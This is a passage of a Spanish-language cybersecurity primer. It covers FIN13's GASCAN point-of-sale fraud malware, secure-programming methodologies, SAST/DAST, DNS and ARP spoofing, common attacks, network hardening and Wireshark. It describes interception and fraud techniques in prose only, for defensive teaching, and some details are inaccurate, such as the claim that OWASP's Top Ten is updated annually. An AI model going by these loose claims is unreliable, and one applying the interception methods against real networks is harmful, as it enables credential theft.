Aunque FIN13 apuntó a datos específicos los cuales podrían ayudar a transacciones fraudulentas, no siempre pudimos ser testigos de primera mano de cómo FIN13 capitalizó la información robada. En una víctima, pudimos recuperar una herramienta llamada GASCAN, la cual nos dio visibilidad de su juego final.

GASCAN es un malware basado en Java que procesa datos de punto de venta y envía mensajes especialmente diseñados a un servidor remoto especificado por la línea de comandos. Los datos enviados contienen un valor que corresponde a uno de los dos diferentes tipos de mensajes ISO 8583 y se pueden utilizar para construir transacciones fraudulentas ISO 8583. El primer tipo de mensaje, 0100, indica los datos correspondientes a un mensaje de autorización y se utiliza para determinar si existen fondos disponibles en una cuenta específica. Después de recibir el primer mensaje, el servidor C2 devuelve un búfer que incluye la cadena “Aprobada”. El segundo tipo de mensaje, 0200, contiene datos utilizados para un mensaje de solicitud financiera y se utiliza para contabilizar un cargo en una cuenta específica. La segunda estructura de mensaje incluye un campo llamado “monto”. El valor de “monto” se calcula utilizando una función interna que devuelve un número generado aleatoriamente entre 2000 y 3000, utilizado como el monto de la transacción enviada en el segundo mensaje. Según la información enviada, es probable que el servidor remoto especificado sea responsable de formatear y enviar el mensaje ISO 8583 para transacciones fraudulentas.

La muestra de GASCAN se adaptó al entorno de la víctima y los datos esperados de los sistemas POS utilizados por la organización. La misma víctima fue alertada de más de mil transacciones fraudulentas en un corto período de tiempo, por un total de millones de pesos o varios cientos de miles de dólares estadounidenses.

Conclusiones

En resumen, un Blue Team es un equipo de seguridad de la información encargado de proteger los activos críticos de una organización mediante el establecimiento de medidas de seguridad, la identificación de amenazas potenciales y la implementación de controles de seguridad eficaces. Estos controles pueden incluir análisis de huella digital, software de seguridad de puntos finales, soluciones IDS e IPS y SIEM, y la realización de investigaciones continuadas para detectar actividad inusual en el sistema. Los Blue Team también juegan un papel importante en la educación y concientización de los empleados sobre la seguridad de la información.

Programación Segura

¿Por qué surge la programación segura?

La importancia de la programación segura surge debido a la creciente dependencia de las tecnologías de la información y la conectividad en nuestra vida cotidiana y en los negocios. Con la proliferación de dispositivos conectados y aplicaciones en línea, la información y los datos confidenciales están más expuestos que nunca a ataques cibernéticos y compromiso.

Además, la información confidencial almacenada en los sistemas y aplicaciones puede incluir información personal, financiera y comercial valiosa, lo que hace que la seguridad de la información sea esencial para proteger tanto a las organizaciones como a los individuos. La programación segura es esencial para prevenir ataques cibernéticos, proteger la información confidencial y garantizar la continuidad del negocio.

La programación segura también es importante debido a las regulaciones y estándares aplicables a diferentes industrias. Muchas industrias, como la banca, la salud y la defensa, están sujetas a regulaciones y estándares rigurosos en cuanto a la seguridad de la información. La programación segura es esencial para cumplir con estas regulaciones y estándares y evitar sanciones legales y de cumplimiento.

Entonces… ¿Qué es exactamente la programación segura?

La programación segura es un proceso esencial en el desarrollo de software que busca garantizar la confidencialidad, integridad y disponibilidad de la información y los datos, así como prevenir y mitigar los riesgos de seguridad. Algunas de las metodologías comunes en programación segura incluyen:

  • La seguridad basada en riesgos: Esta metodología se enfoca en identificar y evaluar los riesgos asociados con una aplicación o sistema, y en tomar medidas para mitigarlos. Se realizan evaluaciones de riesgo para determinar la probabilidad de ocurrencia de un incidente y su impacto potencial en el negocio. Luego se toman medidas para mitigar o reducir el riesgo a un nivel aceptable.
  • La seguridad basada en la privacidad: Esta metodología se enfoca en garantizar la privacidad de los usuarios y la protección de sus datos personales. Se utilizan medidas de seguridad para proteger la privacidad de los usuarios y garantizar que sus datos personales se manejen de manera segura y respeten los estándares legales y regulaciones.
  • El desarrollo seguro de software: Esta metodología se enfoca en incorporar la seguridad en todas las etapas del ciclo de vida del desarrollo de software, desde la planificación hasta la implementación y mantenimiento. Se utilizan mejores prácticas y principios de seguridad en todas las etapas del proceso de desarrollo para garantizar la seguridad del software desde el inicio.

Metodología OWASP

OWASP (Open Web Application Security Project) es una metodología de seguridad de software libre y globalmente reconocida para mejorar la seguridad de las aplicaciones web. La metodología OWASP se basa en la idea de que la seguridad de las aplicaciones web debe ser una consideración importante durante todo el ciclo de vida del desarrollo de software.

La metodología OWASP se divide en dos partes principales: el OWASP Top Ten Project y el OWASP Application Security Verification Standard (ASVS). El OWASP Top Ten Project es una lista de las diez principales amenazas de seguridad de las aplicaciones web, mientras que el ASVS es un estándar de verificación de seguridad de aplicaciones que proporciona un marco para evaluar y medir la seguridad de las aplicaciones.

El OWASP Top Ten Project es una lista actualizada anualmente que proporciona una visión general de las principales amenazas a la seguridad de las aplicaciones web. La lista incluye amenazas como la inyección de SQL, la inyección de scripts, el robo de sesión, el abuso de funcionalidades, la vulnerabilidad de los componentes, la falta de seguridad en el almacenamiento de datos, la falta de seguridad en las comunicaciones, la falta de seguridad en la autenticación, la falta de seguridad en la autorización y la falta de seguridad en la configuración.

Por otro lado, el OWASP ASVS proporciona un marco para evaluar y medir la seguridad de las aplicaciones. El estándar incluye una serie de requisitos de seguridad para diferentes categorías, tales como autenticación, autorización, seguridad en las comunicaciones, seguridad en el almacenamiento de datos y seguridad en la configuración. Cada requisito se clasifica en tres niveles: básico, medio y alto.

La metodología OWASP es ampliamente utilizada en todo el mundo debido a su enfoque práctico y su enfoque en la seguridad de las aplicaciones web. Es utilizado por desarrolladores, auditores de seguridad, administradores de seguridad y otros profesionales de seguridad para mejorar la seguridad de las aplicaciones web. Además, la metodología OWASP es completamente gratuita y está disponible para cualquier persona interesada en mejorar la seguridad de las aplicaciones web.

Metodología CWE

CWE (Common Weakness Enumeration) es una metodología de seguridad de software desarrollada por MITRE Corporation. CWE proporciona una lista común y una taxonomía de debilidades de seguridad de software, con el objetivo de proporcionar un lenguaje común para describir las debilidades de seguridad y facilitar la detección, la prevención y la mitigación de las mismas. CWE es ampliamente utilizado por desarrolladores, auditores de seguridad y otros profesionales de seguridad para identificar y mitigar las debilidades de seguridad en las aplicaciones.

Metodología SEI CERT

SEI CERT (Computer Emergency Response Team) es una metodología de seguridad desarrollada por el Software Engineering Institute (SEI) de la Universidad Carnegie Mellon. SEI CERT proporciona una serie de recomendaciones y mejores prácticas para la seguridad de software, con el objetivo de ayudar a las organizaciones a desarrollar y mantener aplicaciones seguras. SEI CERT incluye un enfoque de ciclo de vida de seguridad de software y proporciona guías para la gestión de incidentes, la seguridad en el almacenamiento de datos y la seguridad en las comunicaciones.

Metodología DISA-ASD-STIG

DISA-ASD-STIG (Defense Information Systems Agency – Application Security and Development – Security Technical Implementation Guide) es una metodología de seguridad de software desarrollada por la Agencia de Sistemas de Información de Defensa (DISA) de los Estados Unidos. DISA-ASD-STIG proporciona recomendaciones y estándares para la seguridad de software, específicamente diseñado para el uso en entornos gubernamentales y militares. El objetivo de DISA-ASD-STIG es ayudar a las organizaciones a cumplir con los estándares de seguridad aplicables y a proteger los sistemas críticos contra ataques.

Metodología S-SDLC

S-SDLC (Secure Software Development Life Cycle). Se basa en verificar los requisitos de seguridad a lo largo de las distintas fases de construcción del software: análisis, diseño, desarrollo, pruebas y mantenimiento. Sobre todo, durante las dos ya que gran parte de las debilidades de los sistemas se generan incluso antes de comenzar las tareas de programación. Las claves del S-SDLC son la atención al detalle, para favorecer la identificación inmediata de las vulnerabilidades; y la mejora continua.

Metodología CLASP

CLASP (Comprehensive Lightweight Application Security Process). Proyecto del OWASP que establece una serie de actividades, roles y buenas prácticas dirigidas a coordinar los procesos de desarrollo seguro de software. La organización OWASP CLASP se asienta en cinco perspectivas o vistas que abordan los conceptos generales de esta metodología, la distribución de funciones, la valoración de las actividades aplicables, la implementación de estas actividades, y el listado de problemas que pueden dar lugar a la aparición de vulnerabilidades.

Herramientas automatizadas

Existen varias herramientas automatizadas que ayudan a los desarrolladores a implementar la seguridad en sus aplicaciones, tales como: Escáneres de vulnerabilidades: estas herramientas analizan el código y los sistemas en busca de vulnerabilidades conocidas.

  • Herramientas de análisis de código: estas herramientas buscan patrones de código inseguros y ayudan a corregirlos. Por ejemplo, herramientas de detección de vulnerabilidades de código como SAST (Static Application Security Testing) y DAST (Dynamic Application Security Testing) buscan problemas de seguridad en el código fuente y en el comportamiento en tiempo de ejecución, respectivamente.

SAST

SAST es una técnica de prueba de seguridad que se lleva a cabo durante el desarrollo de software, analizando el código fuente de una aplicación para detectar vulnerabilidades potenciales. Herramientas de SAST como Veracode, Checkmarx, y Fortify, buscan patrones de debilidad común en el código, y generan informes de vulnerabilidades con detalles de la ubicación y gravedad de las mismas. Es importante aplicar SAST para detectar debilidades temprano en el ciclo de vida del desarrollo, permitiendo así corregirlas antes de que la aplicación sea publicada.

DAST

DAST (Dynamic Application Security Testing) es una técnica de prueba de seguridad que se lleva a cabo sobre una aplicación que ya está en producción, simulando ataques en tiempo real para detectar vulnerabilidades en la aplicación. Herramientas como OWASP ZAP, Nessus, y Burp Suite, son utilizadas para simular ataques automatizados y generar informes de vulnerabilidades encontradas. Es importante aplicar DAST para detectar debilidades en la seguridad en aplicaciones ya lanzadas y asegurar la seguridad en tiempo real.

La importancia de aplicar tanto SAST como DAST es crucial para garantizar la seguridad de las aplicaciones y proteger tanto a las organizaciones como a los usuarios finales de los ataques cibernéticos. Además de detectar y mitigar vulnerabilidades, el uso de ambas metodologías ayuda a cumplir con regulaciones y estándares de seguridad aplicables, y mejora la confianza en la seguridad de la información y la reputación de la organización. Aplicar ambas metodologías también permite obtener una visión completa de la seguridad de la aplicación, tanto en el desarrollo como en la producción, lo que ayuda a identificar y corregir vulnerabilidades de manera temprana y eficiente.

En resumen, SAST y DAST son metodologías complementarias de pruebas de seguridad de software que ayudan a detectar y mitigar las debilidades de seguridad en las aplicaciones. Es importante aplicar ambas metodologías para garantizar la seguridad de las aplicaciones, cumplir con regulaciones y estándares de seguridad, y mejorar la confianza en la seguridad de la información y la reputación de la organización. Existen varias herramientas disponibles en el mercado para llevar a cabo estas pruebas, las cuales ofrecen informes detallados y fáciles de entender para ayudar a las organizaciones a tomar decisiones informadas sobre la seguridad de sus aplicaciones.

  • Herramientas de pruebas de penetración: estas herramientas simulan ataques maliciosos para identificar las vulnerabilidades existentes en un sistema o aplicación. Por ejemplo, herramientas como Metasploit o Nessus son utilizadas para realizar pruebas de penetración automatizadas.

Principales fallos que solventa la programación segura

La programación segura busca solventar varios problemas comunes de seguridad en las aplicaciones, entre ellos podemos mencionar:

  • Inyección de código: Es uno de los ataques más comunes que aprovechan las debilidades en la validación de datos de entrada, permitiendo a un atacante insertar código malicioso en una aplicación. La programación segura proporciona mecanismos para validar y sanear los datos de entrada, lo que ayuda a mitigar este tipo de ataques.
  • Buffer-overflow: Ocurre cuando un programa escribe más datos en un buffer de lo que puede contener, causando una sobreescritura de memoria adyacente. Esto puede permitir a un atacante ejecutar código malicioso o tomar el control del sistema afectado. Los desarrolladores deben tomar medidas para evitar este tipo de fallos de seguridad, como validar los tamaños de los buffers y utilizar funciones especiales para copiar datos seguros en los buffers.
  • Cross-Site- Scripting (XSS): Ocurre cuando un atacante inserta código malicioso en una página web, permitiéndoles ejecutar scripts en el navegador de un usuario que visita esa página. Este código malicioso puede robar información del usuario, como contraseñas o datos de tarjetas de crédito, o incluso utilizar la sesión del usuario para realizar acciones en su nombre. Los desarrolladores deben tomar medidas para evitar estos fallos de seguridad, como la validación y la sanitización de datos de entrada, y utilizar técnicas de escape adecuadas para evitar la inyección de scripts maliciosos.
  • Sesiones inseguras: Muchas aplicaciones tienen debilidades en la gestión de sesiones, permitiendo a los atacantes interceptar o suplantar sesiones de usuarios legítimos. La programación segura proporciona mecanismos para asegurar la autenticación y autorización de usuarios, así como para proteger la privacidad y la integridad de las sesiones.
  • Acceso no autorizado: Las aplicaciones a menudo tienen debilidades en el control de acceso, permitiendo a los atacantes acceder a información o funcionalidades no autorizadas. La programación segura proporciona mecanismos para restringir y controlar el acceso a la información y las funcionalidades de una aplicación.
  • Vulnerabilidades en el almacenamiento de datos: Muchas aplicaciones tienen debilidades en el almacenamiento de datos, como la falta de cifrado o la gestión inadecuada de contraseñas, lo que permite a los atacantes acceder a información confidencial. La programación segura proporciona mecanismos para proteger la información almacenada y garantizar la privacidad y la seguridad de los datos.
  • Falta de pruebas de seguridad: Muchas aplicaciones no son sometidas a pruebas de seguridad adecuadas antes de su lanzamiento, lo que permite a los atacantes descubrir y explotar vulnerabilidades no detectadas. La programación segura proporciona mecanismos para realizar pruebas de seguridad automatizadas y manuales para detectar y corregir vulnerabilidades antes del lanzamiento.

Conclusión

La programación segura es un proceso esencial que incluye metodologías, herramientas automatizadas, educación y capacitación, así como un enfoque en las mejores prácticas y principios de seguridad. Es esencial para proteger la información y los datos confidenciales, prevenir ataques cibernéticos y garantizar la continuidad del negocio. Es importante que los desarrolladores estén conscientes de la importancia de la programación segura y estén preparados para implementar medidas de seguridad en sus proyectos de desarrollo de software.

Hablemos de seguridad en la red

¿DNS Spoofing?

El servicio DNS sirve para traducir los nombres de dominio en direcciones IP y normalmente se ejecuta en el puerto 53 UDP. Veamos un ejemplo simple para entender todos los roles implicados en la comunicación jerárquica DNS:

Queremos conectarnos a www.google.com. Como esta dirección no está almacenada en nuestra Caché DNS, le preguntamos al Resolver, que es un servidor DNS de nuestro Internet Service Provider (ISP).

El Resolver comprueba si tiene www.google.com en su caché. No lo tiene, por lo que pregunta al Root Server. Los Root Server son 13 y están en la raíz del sistema jerárquico DNS:

El Root Server ve que la petición es a un dominio .COM, por lo que redirige la petición a un TLD Server.

Un TLD Server almacena la información de dominios de nivel superior como .COM, .NET, .ORG, etc, y redirige la petición al Authority Name Server que conoce la información sobre el dominio google.com

Finalmente, el Authority Name Server de google.com recibe la petición y devuelve la dirección IP perteneciente al subdominio www.google.com

Tanto nuestra caché DNS como la del servidor DNS del ISP se actualizan, de forma que la próxima vez que queramos acceder a www.google.com no hará falta pedir la IP (mientras dure en caché).

¿Qué es el DNS Spoofing?

Dado que los servidores de nombres de dominio conectan a los usuarios con la IP de la página que buscan, el envenenamiento de DNS o DNS spoofing consiste en modificar las direcciones IP en los servidores DNS de la víctima. De este modo, los delincuentes pueden redirigir el tráfico de la víctima hacia sitios web falsos. Allí, al ser engañados, los usuarios podrían proporcionar datos confidenciales o instalar un software malicioso en el sistema.

Un ataque de envenenamiento DNS puede dirigirse a diferentes tipos de servidores. Finalmente, lo importante para el atacante es poder indicarle a dicho servidor que dirija a la víctima a una IP falsa cuando ingrese determinado nombre de dominio en el navegador. Por eso, el DNS spoofing se relaciona generalmente con ataques de pharming (tipo de ciberataque en el que un cibercriminal clona una página web con el fin de que sus víctimas ingresen en ella y proporcionen datos confidenciales. El pharming se concentra en recolectar datos financieros y credenciales de usuarios).

Tipos de DNS Spoofing

Existen cuatro formas de ejecutar este ataque:

1. DNS spoofing local. Un cibercriminal podría instalar un malware o modificar manualmente el servidor DNS local de la víctima. Este servidor se encuentra directamente en el equipo del usuario.

2. DNS spoofing en el router. Los hackers maliciosos también pueden explotar vulnerabilidades de los servidores DNS del router de internet de una víctima.

3. Man In The Middle. Los atacantes interceptan la comunicación entre el usuario y el servidor DNS, modificando las IP que recibe el ordenador de la víctima.

4. DNS spoofing del servidor. En este caso, los delincuentes identifican fallos de seguridad en servidores DNS y los hackean, modificando las bases de datos de direcciones IP y redirigiendo a las víctimas a sus sitios web falsos.

Defensa 

Han surgido protocolos que hacen que el DNS spoofing sea cada vez más inviable para hacer ataques de pharming.

HTTP Strict Transport Security

El HTTP Strict Transport Security (HSTS) es una política de seguridad que establece que sólo puede accederse a un sitio web mediante comunicación cifrada por el usuario. Este protocolo ha quedado escrito en el código fuente de muchos dominios web, lo cual hace imposible no acceder a uno si no es con comunicación HTTPS.

Cabe aclarar que todavía faltan algunos dominios por incluir esta política en sus sistemas y eso los hace más vulnerables a un ataque DNS spoofing. 

Evita redes wifi desconocidas

Los servidores DNS pueden ser interferidos desde varios puntos y el router de red es uno de ellos. Por lo tanto, al conectarte a una red wifi pública, te expones a que alguien esté modificando los servidores DNS y redirigiendo el tráfico maliciosamente. De este modo, podrías convertirte en víctima de un ataque de pharming.

¿ARP Spoofing?

ARP viene de Address Resolution Protocol y lo podemos traducir como protocolo de resolución de direcciones. Se trata de un protocolo muy importante en la red que tiene como misión encontrar la dirección MAC que corresponde a una dirección IP de un equipo. Para conseguir esto se envía una solicitud ARP (ARP request), esperando la MAC del dispositivo que responda con el ARP reply.

Hay que tener en cuenta que, para navegar por la red, y poder enviar paquetes de datos a través de TCP/IP, el dispositivo va a necesitar conocer algunos datos clave como la máscara de subred, la dirección IP y la dirección MAC.

Cada dispositivo recibe tanto la máscara de subred como la dirección IP de manera automática al establecer la conexión. Posteriormente se vincula la dirección MAC o dirección de hardware con una dirección IP a través de lo que conocemos como ARP.

Podemos decir por tanto que el protocolo ARP es imprescindible para transmitir datos en redes Ethernet, ya que las tramas de datos únicamente pueden enviarse con la ayuda de una dirección MAC. Además, el protocolo IPv4 no puede almacenar las direcciones físicas (MAC) de los dispositivos, por lo que resulta fundamental este protocolo para nuestras conexiones.

El problema es que este protocolo en ocasiones presenta vulnerabilidades. Es por ello que puede haber suplantación de ARP o también conocido como ARP Spoofing.

¿ARP Spoofing?

Básicamente es el envenenamiento de las tablas ARP y es una técnica que utilizan los piratas informáticos para lograr entrar en una red con el fin de robar los paquetes de datos que pasan por la red local. De esta forma podría controlar el tráfico y también incluso detenerlo.

Los ciberdelincuentes pueden enviar mensajes falsificados ARP a una LAN, teniendo primero que vincular su dirección MAC con la dirección IP de un servidor, es decir, suplantan a nivel de red al servidor para que los ARP Request que vayan con destino la IP del servidor terminen en el dispositivo del atacante, que responderá con su MAC suplantando así al servidor, ya que desde ese instante el dispositivo que envió la solicitud ARP guarda en su tabla ARP la MAC del cibercriminal. Por lo que, la próxima vez que quiera enviar un paquete a la IP del servidor, consultará su tabla ARP y verá a qué MAC debe enviarlo, sin embargo, se encontrará una MAC no deseada.

Esto supone un problema muy importante para empresas y usuarios particulares. Ya sabemos que hoy en día en Internet hay muchos tipos de ataques, muchas amenazas que de una u otra forma buscan robar información y comprometer la privacidad. Con el ARP Spoofing un atacante puede llegar a robar datos sensibles de una empresa o usuario que pueden incluir nombres de usuario, contraseñas, conversaciones, cookies… En definitiva, información que pueden comprometer a una organización o a cualquier usuario particular.

Tipos de ARP Spoofing o Poisoning

Hay dos formas generales en las que puede ocurrir un ataque de envenenamiento de ARP: el atacante puede esperar a ver las solicitudes de ARP para un objetivo en particular y emitir una respuesta, o enviar un mensaje de difusión no solicitado conocido como ARP gratuito. El primer enfoque es menos perceptible en la red, pero potencialmente de menor alcance en sus impactos. Un ARP gratuito puede ser más inmediato e impactar a un mayor número de víctimas, pero tiene la desventaja de generar mucho tráfico en la red.

Ataque Man-in-the-Middle (MiTM)

Los ataques MiTM son probablemente el objetivo más común y potencialmente más peligroso del envenenamiento por ARP. El atacante envía respuestas ARP falsificadas para una dirección IP dada, generalmente la puerta de enlace predeterminada para una subred en particular. Esto hace que las máquinas de las víctimas llenen su caché ARP con la dirección MAC de la máquina del atacante, en lugar de la dirección MAC del router local. Las máquinas de las víctimas enviarán incorrectamente el tráfico de red al atacante. Herramientas como Ettercap permiten al atacante actuar como un proxy, viendo o modificando información antes de enviar el tráfico a su destino previsto. Para la víctima, todo puede parecer normal.

Combinar el envenenamiento ARP con el envenenamiento DNS puede aumentar drásticamente la efectividad de un ataque MiTM. En este escenario, un usuario víctima podría ingresar en un sitio legítimo como google.com y recibir la dirección IP de la máquina del atacante, en lugar de la dirección correcta.

Ataque de denegación de servicio (DoS)

Un ataque DoS tiene como objetivo negar a una o más víctimas el acceso a los recursos de la red. En el caso de ARP, un atacante podría enviar mensajes de respuesta ARP que asignan falsamente cientos o incluso miles de direcciones IP a una sola dirección MAC, lo que podría sobrecargar la máquina de destino. Este tipo de ataque, a veces conocido como inundación ARP, también se puede utilizar para apuntar a los conmutadores, lo que podría afectar el rendimiento de toda la red.

Secuestro de sesión

Los ataques de secuestro de sesión son de naturaleza similar a Man-in-the-Middle, excepto que el atacante no reenviará el tráfico directamente desde la máquina de la víctima a su destino previsto, sino que el atacante capturará un número de secuencia TCP genuino o una cookie web de la víctima y lo usará para asumir la identidad de la víctima. Esto podría usarse, por ejemplo, para acceder a la cuenta de redes sociales de un usuario objetivo si está conectado.

Los ataques cibernéticos más frecuentes que ponen en riesgo a las compañías son:

  1. Phishing: es un tipo de estafa donde los cibercriminales intentan obtener acceso a una red por medio de spam en el correo electrónico u otros métodos de ingeniería social. La víctima proporciona datos e información confidencial y así obtienen acceso a la red. Por ejemplo, un ciberdelincuente puede conseguir “que haga clic” en un enlace y descargar algo malicioso para introducirlo en la red, o ese enlace puede llevarlo a un sitio falso donde le solicitan ingresar información específica sobre usted y la empresa para la que trabaja.
  2. DDoS (Denegación de servicio distribuida): es un ataque en el que múltiples fuentes se dirigen a un servidor web, sitio web u otro dispositivo de red. Lo llenan con una avalancha de mensajes, paquetes y solicitudes de conexión hasta lograr que el objetivo sea “bloqueado”, con ello los datos y el sistema en general no están disponibles para los usuarios.
  3. Malware: es un término abreviado que significa “software malicioso”. Es un software diseñado específicamente para obtener acceso o dañar una computadora sin el conocimiento del propietario. Hay varios tipos de malware que incluyen spyware, keyloggers, virus, gusanos o cualquier tipo de código malicioso que se infiltra en una computadora con el objetivo de bloquear o robar información.
  4. Ataques de contraseña: también conocidos como ataques de fuerza bruta, a menudo utilizan algún tipo de sistema automatizado para realizar el ataque empleando diferentes combinaciones de contraseña (como una lista de diccionario) para intentar ingresar. La mejor manera de evitar que este tipo de ataque sea exitoso, es implementar prácticas donde las contraseñas para usuarios, cuentas de servicio y credenciales cambien en un cronograma consistente; es decir, mensual, trimestral, etc, y limitar el número de intentos fallidos.
  5. Ransomware: es el ataque que mantiene despiertos a la mayoría de los ingenieros de seguridad, administradores, CSO y otro personal de TI durante la noche. Es un tipo de malware que bloquea y encripta los dispositivos en una red para evitar que alguien los use a menos que se pague un rescate. Una vez realizado el pago, el cifrado se desbloqueará y eliminará, o en algunos casos los cibercriminales no desbloquearán los dispositivos, haciendo que la empresa afectada incurra en otros gastos para recuperarse. Normalmente suelen usar phishing para propagarlo.

Protegiendo el entorno

Paso 1: Segmentación de redes

La segmentación de redes es una técnica utilizada para dividir una red en varias subredes o segmentos, con el objetivo de mejorar la seguridad, el rendimiento y la administración de la red. Se lleva a cabo mediante el uso de dispositivos de red como routers, firewalls o switches, que permiten controlar y restringir el tráfico entre diferentes segmentos de la red. Se usa normalmente para separar la red de servidores de los equipos de oficina por ejemplo, de tal forma que si vulneran ésta última, los servidores a priori seguirán intactos.

Existen varios métodos para implementar la segmentación de redes, entre los cuales se incluyen:

•VLAN (Virtual LAN): esta técnica permite crear redes lógicas independientes dentro de una misma infraestructura física, mediante la configuración de etiquetas o identificadores únicos para cada VLAN. Esto permite a los administradores restringir el tráfico entre diferentes segmentos de red, y mejorar la seguridad al evitar la propagación de ataques entre diferentes redes lógicas.

•Enrutamiento: mediante el uso de routers se pueden segmentar las redes de forma lógica, permitiendo controlar y restringir el tráfico entre diferentes redes.

•Firewalls: estos dispositivos permiten controlar y restringir el tráfico entrante y saliente de una red, ayudando a protegerla contra ataques externos.

•VPN (Red Privada Virtual): esta técnica permite conectar dispositivos remotos a una red de forma segura y privada, mediante el uso de túneles cifrados.

La segmentación de redes es esencial para mejorar la seguridad de la red, ya que permite restringir y controlar el tráfico entre diferentes segmentos de la red, evitando la propagación de ataques y limitando el acceso no autorizado a los dispositivos y servicios de la red.

Además de mejorar la seguridad, la segmentación de redes también ayuda a mejorar el rendimiento y la administración de la red, al permitir una mejor organización de los dispositivos y servicios, y una mayor flexibilidad en la configuración y el mantenimiento de la red.

En resumen, la segmentación de redes es una técnica esencial para mejorar la seguridad, el rendimiento y la administración de las redes, permitiendo un mejor control y restricción del tráfico entre diferentes segmentos de la red, evitando la propagación de ataques y limitando el acceso no autorizado.

Paso 2: Buena configuración

A pesar de que es casi imposible evitar un ataque cibernético, existen muchas recomendaciones de seguridad para reducir el riesgo. La mayoría de ellas están relacionadas con el factor humano, por lo que es muy importante la concienciación sobre la seguridad de la información entre otras como:

  • Mantener a los sistemas actualizados.
  • Tener implantado una cultura de ciberseguridad en la organización (ISO 27001, ENS, NIST etc).
  • Tener instalado sistemas de protección o dispositivos de seguridad.
  • Hacer uso de canales de comunicación segura como VPNs.
  • Gestión de los móviles de los empleados.
  • Gestión de contraseñas seguras.
  • etc.

Se ha mencionado tener instalados sistemas de protección, pero ¿cuáles son los dispositivos de seguridad o sistemas de protección más relevantes o que están más implantados en las organizaciones? Pues son:

  • Firewalls: es un software, hardware o una combinación de ambos que permite separar redes filtrando el tráfico, tanto el tráfico de entrada como de salida. Por ejemplo, si se quiere conseguir que el tráfico de internet no sea capaz de alcanzar nuestra red interna o que sólo se pueda dejar salir hacia el exterior un cierto tráfico de la red interna, pues eso se consigue haciendo uso de un FireWall.
  • DMZ: zona desmilitarizada o red perimetral, es una red aislada intermedia entre Internet y la red de la organización. En la DMZ se ponen los sistemas expuestos a internet -sistemas donde los usuarios externos pueden acceder- para que el tráfico de internet llegue a la DMZ pero no a la red interna y el tráfico de la DMZ tampoco alcance a la red interna, es decir, es una forma de segmentar las redes para que la red interna sea capaz de alcanzar la DMZ e internet pero el tráfico de internet o la DMZ no sea capaz de alcanzar la red interna. Se consigue haciendo uso de Firewalls y con el objetivo de que si un sistema de la DMZ se ve comprometido por un ataque, esto no afecte a la red interna de la organización. Además, la DMZ sólo es accesible a través de los puertos de los sistemas expuestos, por lo que el firewall que hay entre la DMZ e internet tiene que tener habilitados única y exclusivamente esos puertos. Se puede apreciar en la siguiente imagen el comportamiento del tráfico una vez implantado la DMZ:
  • HoneyPot: viene de tarro de miel y representan los sistemas que explícitamente desplegados emulan servicios especialmente atractivos que buscarían atacantes que accedieran a la red. El objetivo principal es atraer a atacantes y retenerlos durante un tiempo con el fin de identificarlos, identificar qué técnicas usa, que motivación tiene etc. Entre las acciones que puede realizar se encuentra: emular servicios con distinto nivel de realismo, mantener logs tanto locales como remotos de cualquier interacción realizada etc. Hay muchos tipos de Honeypots pero podemos destacar: los de baja interacción que emula servicios pero sólo abriendo puertos y los de alta interacción que emula servicios completamente. Por otro lado, el honeypot puede estar en varios sitios ubicados tal y como se observa en la siguiente captura:
  • IDS: o sistema de detección de intrusos, es un software o hardware encargado de detectar accesos no autorizados o comportamientos potencialmente maliciosos en un sistema o red. Estos sistemas suelen tener sensores o sondas de red, encargadas de recopilar el tráfico de red y enviarlo al sistema central para que lo analice y detecte posibles amenazas.

Paso 3: Limitar los servicios expuestos

Hay organizaciones que cuentan con una cantidad a considerar de escritorios remotos expuestos a internet que dan acceso a los servidores corporativos. Cada escritorio remoto es un punto de acceso para el cibercriminal hacia la red, y más aún si las credenciales son débiles o no se tienen implantadas políticas de bloqueo por intentos fallidos. La recomendación es usar VPNs y limitar a ser posible a 0 el uso de escritorios remotos débiles que den acceso a la red de los servidores.

Paso 4: Formación y Concienciación en Ciberseguridad

Por mucha tecnología que se use, el factor más débil y el por el cual los cibercriminales consiguen acceso es el factor humano. Por tanto, es esencial formar al personal para que sean capaces de detectar y responder antes ataques de tipo phishing y ransomware, y para que sigan buenas prácticas, reduciendo la probabilidad de caer en cualquier tipo de estafa, introducir credenciales usando redes públicas, etc.

Wireshark

Introducción

A finales del año 1997 Gerald Combs inició un proyecto como una forma de resolver problemas de red y avanzar en su carrera. Durante el desarrollo, varias personas se unieron al proyecto, contribuyendo con parches, informes de errores y otros componentes. En el año 2006, el proyecto cambió de nombre a Wireshark.

La versión 1.0 de la herramienta fue lanzada en 2008 después de años de desarrollo,  y en 2015 lanzó su versión 2.0 con una nueva interfaz de usuario.

Actualmente se encuentra en la versión 4.0.3 donde se corrigen bugs y vulnerabilidades y se actualiza el soporte a algunos protocolos. Esta versión está disponible y soportada para equipos con arquitectura x64. La última versión soportada para equipos Windows x32 es la 3.6.

Wireshark es ampliamente utilizado por administradores de red y analistas de red, así como por profesionales de la seguridad de la información.

Funcionalidad

Wireshark es un software de análisis de red que ayuda a los administradores de sistemas y de red a detectar y solucionar problemas en su red. Algunas de las funcionalidades o uso que se le puede dar a la herramienta son:

  • Identificar paquetes caídos.
  • Identificar problemas de latencia.
  • Identificar actividad maliciosa en la red.
  • Identificar mala configuración de los equipos.
  • Enseñar y verificar el funcionamiento de los protocolos (funcionalidad didáctica).

Por otro lado, ofrece herramientas y comandos para filtrar y analizar con más detalle el tráfico de red, permitiendo llegar a la causa raíz del problema. Es por tanto, una herramienta poderosa que requiere un conocimiento sólido de los conceptos de redes, incluyendo protocolos y servicios, la pila TCP/IP, encabezados de paquetes, enrutamiento y reenvío de puertos, y DHCP.

Uso del cibercriminal

Como vemos es una herramienta muy útil que puede ayudar, sin embargo, la tecnología no es buena ni mala sino que depende del uso que le dé la persona. Es decir, existen personas y grupo de personas que le dan otro uso: un uso malicioso. Los cibercriminales usan esta herramienta para capturar el tráfico de la red intentando conseguir información confidencial como usuarios o contraseñas, o incluso muchas veces, para grabar llamadas o conversaciones telefónicas. La técnica habitual es situarse en WiFis gratuitas para capturar todo el tráfico esperando que un usuario introduzca usuario, contraseña , datos bancarios, etc , en servicios donde la información viaje sin cifrar, como por ejemplo en sitios que ejecuten HTTP. ¿Entiendes ahora por qué se intenta no usar ya este servicio y la importancia de no acceder a sitios sensibles si estás usando una red gratuita pública?

Para grabar las llamadas telefónicas, el ciberdelincuente tiene que tener acceso a la red empresarial y sniffar (capturar) el tráfico SIP, RDP, etc. WireShark ofrece una funcionalidad específica que permite hacer eso de modo automático.

Filtros

Los filtros de Wireshark sirven para simplificar la búsqueda de paquetes. Es decir, si quieres ver sólo el tráfico TCP o los paquetes de una dirección IP concreta, tienes que aplicar los filtros adecuados en la barra de filtros.

